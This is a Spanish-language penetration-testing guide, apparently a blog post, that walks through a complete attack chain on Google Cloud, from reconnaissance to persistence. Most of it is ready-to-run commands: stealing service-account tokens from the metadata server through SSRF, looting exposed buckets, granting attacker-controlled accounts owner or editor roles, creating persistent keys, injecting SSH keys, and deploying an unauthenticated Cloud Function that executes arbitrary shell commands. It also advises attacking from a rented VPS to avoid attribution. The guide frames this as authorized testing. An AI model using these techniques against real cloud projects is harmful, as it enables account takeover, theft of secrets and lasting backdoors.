Google Cloud ya no es solo el hermano pequeño de AWS. Es la columna vertebral de YouTube, Google Workspace y miles de entornos Fortune 500. En 2026, GCP impulsa una parte significativa de la infraestructura empresarial — y la mayoría de los red teams todavía no sabe cómo atacarla correctamente.

Esta guía soluciona eso. Recorreremos una cadena de ataque completa en GCP: desde reconocimiento pasivo hasta persistencia, usando comandos reales contra servicios reales. Si has completado nuestra guía de pentesting AWS o guía de pentesting Azure , esta sigue la misma estructura — pero GCP tiene sus propias particularidades que te van a dar problemas si la tratas como AWS.


La política de pruebas de penetración de Google difiere de AWS. Google no requiere autorización previa para hacer pentesting en recursos GCP que posees o tienes permiso escrito explícito para probar. Sin embargo:

  • No puedes probar infraestructura compartida (Cloud DNS, Cloud CDN, balanceadores GFE) sin permiso
  • Las pruebas de DoS están prohibidas
  • Tu alcance debe estar documentado — obtén por escrito la autorización del dueño del activo
  • Para probar el entorno GCP de un cliente, incluye su número de cuenta en la carta de autorización

Lee la Política de Uso Aceptable de Google Cloud antes de comenzar.


Fase 1: Reconocimiento

Reconocimiento Pasivo — Encontrar el Footprint GCP

Encontrar buckets GCS pasivamente:

Las URLs de buckets GCS siguen patrones predecibles: https://storage.googleapis.com/BUCKET_NAME.

# Google dorking para buckets GCS expuestos
site:storage.googleapis.com "target-company"
site:storage.googleapis.com inurl:"target"

# Usando GCPBucketBrute para enumeración
python3 GCPBucketBrute.py --keyword targetcompany --out results.txt

Mapeo de ASN y rangos de IP:

# Descargar rangos de IP de GCP
curl -s https://www.gstatic.com/ipranges/cloud.json | jq '.prefixes[] | select(.scope=="us-central1") | .ipv4Prefix'

# Encontrar dominios hospedados en GCP vía DNS inverso
amass enum -d target.com -src | grep -i "google"

Encontrar IDs de proyectos GCP vía DNS:

# Verificar Firebase, App Engine, Cloud Run
dig app.target.com
# App Engine: dominios appspot.com → el ID del proyecto es el subdominio
# Cloud Run: dominios run.app

# Buscar buckets de almacenamiento en código fuente HTML
curl -s https://target.com | grep -E "storage\.googleapis\.com|\.appspot\.com"

Escaneo de GitHub por Credenciales Filtradas

Las claves de service account son el equivalente GCP de las claves de acceso AWS — y se filtran constantemente:

# Buscar en GitHub por claves de service account filtradas
gh search code '"type": "service_account"' --extension json

# Usando truffleHog
trufflehog github --org=targetorg --token=$GITHUB_TOKEN

# Usando gitleaks
gitleaks detect --source=/path/to/cloned/repo -v

Los archivos de claves de service account se ven así — si encuentras uno, tienes acceso inicial:

{
  "type": "service_account",
  "project_id": "target-project-123",
  "private_key_id": "...",
  "private_key": "-----BEGIN RSA PRIVATE KEY-----...",
  "client_email": "[email protected]"
}

Fase 2: Acceso Inicial

Claves de Service Account Filtradas

Si encontraste un archivo de clave de service account, autentícate inmediatamente:

# Autenticar con el archivo de clave
gcloud auth activate-service-account --key-file=found-key.json

# Verificar quién eres
gcloud auth list
gcloud config list

# Verificar en qué proyecto estás
gcloud projects list

SSRF al Servidor de Metadatos de GCP

El servidor de metadatos de GCP vive en 169.254.169.254 — accesible desde cualquier instancia de Compute Engine. Si encontraste una vulnerabilidad SSRF en una aplicación hospedada en GCP, esta es tu ruta a las credenciales:

# Obtener metadatos de la instancia
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Obtener token de acceso de service account (la joya de la corona)
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

# Obtener ID del proyecto
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/project/project-id"

# Obtener todas las service accounts adjuntas a la instancia
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"

Usar el token robado:

export TOKEN="ya29.STOLEN_TOKEN_HERE"

# Usar con curl directo
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Buckets GCS Expuestos

# Verificar si el bucket es públicamente accesible
curl -s "https://storage.googleapis.com/target-bucket-name/"

# Listar contenidos del bucket sin autenticación
gsutil ls gs://target-bucket-name/

# Verificar ACLs de AllUsers o AllAuthenticatedUsers
gsutil iam get gs://target-bucket-name

# Descargar archivos interesantes
gsutil cp gs://target-bucket-name/config/database.yml .
gsutil cp gs://target-bucket-name/*.json .

Fase 3: Enumeración

Una vez que tienes credenciales, enumera todo antes de tocar nada. El ruido te delata.

Enumeración Principal con gcloud

# ¿Qué proyectos puedes ver?
gcloud projects list

# Establecer tu proyecto objetivo
gcloud config set project TARGET_PROJECT_ID

# ¿Quién eres? ¿Qué puedes hacer?
gcloud auth list
gcloud iam service-accounts list

# Listar todos los bindings IAM del proyecto
gcloud projects get-iam-policy TARGET_PROJECT_ID

# ¿Qué roles tiene tu SA actual?
gcloud projects get-iam-policy TARGET_PROJECT_ID \
  --format=json | jq '.bindings[] | select(.members[] | contains("YOUREMAIL"))'

Instancias de Compute

# Listar todas las instancias de compute en todas las zonas
gcloud compute instances list

# Obtener detalles de la instancia
gcloud compute instances describe INSTANCE_NAME --zone=ZONE --format=json

# Verificar qué service account está adjunta
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
  --format="json(serviceAccounts)"

# Encontrar instancias con IPs públicas
gcloud compute instances list --filter="networkInterfaces[0].accessConfigs[0].natIP:*"

Buckets de Almacenamiento

# Listar todos los buckets en el proyecto
gsutil ls

# Verificar permisos en cada bucket
for bucket in $(gsutil ls); do
  echo "=== $bucket ==="
  gsutil iam get $bucket 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"
done

# Encontrar buckets con nombres sensibles
gsutil ls | grep -E "backup|config|secret|key|credential|prod|database"

Service Accounts

# Listar todas las service accounts
gcloud iam service-accounts list

# Verificar claves de cada service account (las claves antiguas son minas de oro)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account=$sa
done

# Obtener roles vinculados a una service account específica
gcloud projects get-iam-policy PROJECT_ID \
  --format=json | jq --arg sa "serviceAccount:SA_EMAIL" \
  '.bindings[] | select(.members[] == $sa)'

ScoutSuite para Enumeración GCP Automatizada

Para enumeración completa, usa ScoutSuite — genera un informe HTML que cubre toda la superficie de ataque de GCP:

pip install scoutsuite

# Autenticar primero
gcloud auth application-default login

# Ejecutar ScoutSuite contra GCP
scout gcp --report-dir ./scoutsuite-report \
  --project-id TARGET_PROJECT_ID

Fase 4: Escalada de Privilegios

La escalada de privilegios IAM en GCP es matizada. La idea clave: si puedes modificar políticas IAM o crear/suplantar service accounts, puedes escalar.

Escalada IAM Directa

# Si tienes resourcemanager.projects.setIamPolicy, agregate como Owner
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="serviceAccount:[email protected]" \
  --role="roles/owner"

# O agregar un usuario que controlas
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="user:[email protected]" \
  --role="roles/owner"

Creación de Claves de Service Account

Si tienes iam.serviceAccountKeys.create en una service account privilegiada:

# Crear una nueva clave para una service account de alto privilegio
gcloud iam service-accounts keys create /tmp/privesc-key.json \
  --iam-account=admin-sa@TARGET_PROJECT.iam.gserviceaccount.com

# Autenticar con la nueva clave
gcloud auth activate-service-account --key-file=/tmp/privesc-key.json

Suplantación de Service Account (Abuso de actAs)

iam.serviceAccounts.actAs es peligroso. Si tu SA tiene este permiso en una SA más privilegiada:

# Generar un token para la SA objetivo suplantándola
gcloud auth print-access-token \
  --impersonate-service-account=[email protected]

# Usar --impersonate-service-account en cualquier comando gcloud
gcloud storage ls --impersonate-service-account=[email protected]

Fase 5: Movimiento Lateral

Intercambio de Tokens de Service Account

# Obtener token de acceso para SA actual
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r '.access_token')

# Usar token para acceder a otras APIs GCP directamente
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://sqladmin.googleapis.com/v1/projects/PROJECT/instances"

curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://secretmanager.googleapis.com/v1/projects/PROJECT/secrets"

# Listar secretos (Secret Manager a menudo tiene contraseñas de BD, claves API)
gcloud secrets list
gcloud secrets versions access latest --secret=SECRET_NAME

Moverse Entre Proyectos

Los recursos de GCP a menudo abarcan múltiples proyectos. Las service accounts de un proyecto pueden tener bindings en otro:

# Verificar todos los proyectos a los que tu SA actual tiene acceso
gcloud projects list --format="value(projectId)" | while read proj; do
  result=$(gcloud projects get-iam-policy $proj 2>/dev/null | \
    grep "YOUR_SA_EMAIL")
  if [ -n "$result" ]; then
    echo "Acceso al proyecto: $proj"
    echo "$result"
  fi
done

Pivoting vía Instancias de Compute

# Si tienes compute.instances.setMetadata, inyecta claves SSH
gcloud compute instances add-metadata INSTANCE_NAME \
  --zone=ZONE \
  --metadata="ssh-keys=attacker:$(cat /tmp/attacker_rsa.pub)"

# Conectar vía SSH
ssh attacker@EXTERNAL_IP

# O usar OS Login si está habilitado
gcloud compute ssh INSTANCE_NAME --zone=ZONE --tunnel-through-iap

Fase 6: Persistencia

Crear Claves de Service Account de Larga Duración

# Crear una nueva clave para una SA de alto privilegio
gcloud iam service-accounts keys create /tmp/persist-key.json \
  --iam-account=[email protected]

# Las claves no expiran por defecto — esto es persistencia
gcloud auth activate-service-account --key-file=/tmp/persist-key.json

Añadir Bindings IAM a Cuenta Controlada por el Atacante

# Añadir una cuenta Gmail que controlas como Editor
gcloud projects add-iam-policy-binding PROJECT_ID \
  --member="user:[email protected]" \
  --role="roles/editor"

# O añadir como Service Account User en una SA de alto privilegio
gcloud iam service-accounts add-iam-policy-binding \
  [email protected] \
  --member="user:[email protected]" \
  --role="roles/iam.serviceAccountTokenCreator"

Backdoor con Cloud Function

# Crear una función backdoor
cat > /tmp/backdoor/main.py << 'EOF'
import subprocess
import functions_framework

@functions_framework.http
def backdoor(request):
    cmd = request.args.get('cmd', 'id')
    result = subprocess.check_output(cmd, shell=True).decode()
    return result, 200
EOF

# Desplegar
gcloud functions deploy backdoor \
  --runtime=python311 \
  --trigger-http \
  --allow-unauthenticated \
  --region=us-central1 \
  --source=/tmp/backdoor

Herramientas

HerramientaUsoInstalar
gcloud CLIInteracción principal con GCPSDK de gcloud
GCPBucketBruteEnumeración de buckets GCSpip install gcpbucketbrute
ScoutSuiteEvaluación de seguridad automatizadapip install scoutsuite
Pacu (módulos GCP)Enumeración IAM, privescpip install pacu
truffleHogEscaneo de secretos en repositoriospip install trufflehog
CartographyVisualización de gráficos GCPpip install cartography

GCPBucketBrute

El estándar para enumeración de buckets. Prueba lectura pública, escritura pública y acceso autenticado:

git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
cd GCPBucketBrute
pip install -r requirements.txt

# Ejecutar contra una palabra clave
python3 gcpbucketbrute.py --keyword targetcompany --out buckets.txt

# Con autenticación
python3 gcpbucketbrute.py --keyword targetcompany \
  --sa-key-file /path/to/key.json --out buckets.txt

Configuración del Laboratorio

Necesitas dos entornos: una máquina atacante y un proyecto GCP objetivo.

Máquina Atacante: Levanta un VPS en Vultr o DigitalOcean — una instancia de $6/mes es suficiente. Instala el SDK de gcloud, ScoutSuite y las otras herramientas listadas. No ejecutes ataques GCP desde tu IP de casa si te importa la atribución.

Entorno GCP Objetivo: Google ofrece un nivel gratuito con $300 de crédito. Crea un proyecto nuevo, configúralo intencionalmente mal en algunos bindings IAM y buckets GCS, y ejecuta esta guía contra tu propia infraestructura.


Permisos Clave a Buscar

Cuando aterrizas en una service account, verifica inmediatamente estos permisos peligrosos:

PermisoImpacto
resourcemanager.projects.setIamPolicyToma de control total del proyecto
iam.serviceAccounts.actAsSuplantar cualquier SA en alcance
iam.serviceAccountKeys.createCrear claves persistentes
compute.instances.setMetadataInyección de claves SSH
cloudfunctions.functions.createDesplegar funciones backdoor
secretmanager.secrets.accessLeer todos los secretos
storage.buckets.setIamPolicyHacer buckets públicos
iam.roles.updateAñadir permisos a roles existentes

Errores Comunes de los Red Teams en GCP

  1. Olvidar el header Metadata-Flavor: Google — el servidor de metadatos rechaza solicitudes sin él
  2. Ignorar los bindings entre proyectos — tu SA puede tener acceso a 10 otros proyectos
  3. No verificar el IAM a nivel de Org — los bindings a nivel de org/carpeta anulan los del proyecto
  4. Ignorar Secret Manager — los equipos GCP almacenan todo ahí; enuméralo temprano
  5. Pasar por alto Cloud Build — se ejecuta con permisos SA elevados; verifica el historial de builds

Qué Sigue

Recorre la guía de pentesting AWS y la guía de pentesting Azure si aún no lo has hecho — la comparación de tres nubes acelera tu comprensión de dónde GCP es únicamente peligroso versus dónde refleja a los otros.

El modelo IAM de GCP es el más granular de las tres grandes nubes. Eso es una ventaja para los defensores y un rompecabezas para los atacantes. Aprende los nombres de los permisos. Son tu mapa.


¿Necesitas contenido de ciberseguridad escrito profesionalmente para tu blog, empresa o clientes? CipherWrite entrega artículos de nivel experto, whitepapers y posts de LinkedIn — escritos por red teamers, para red teamers.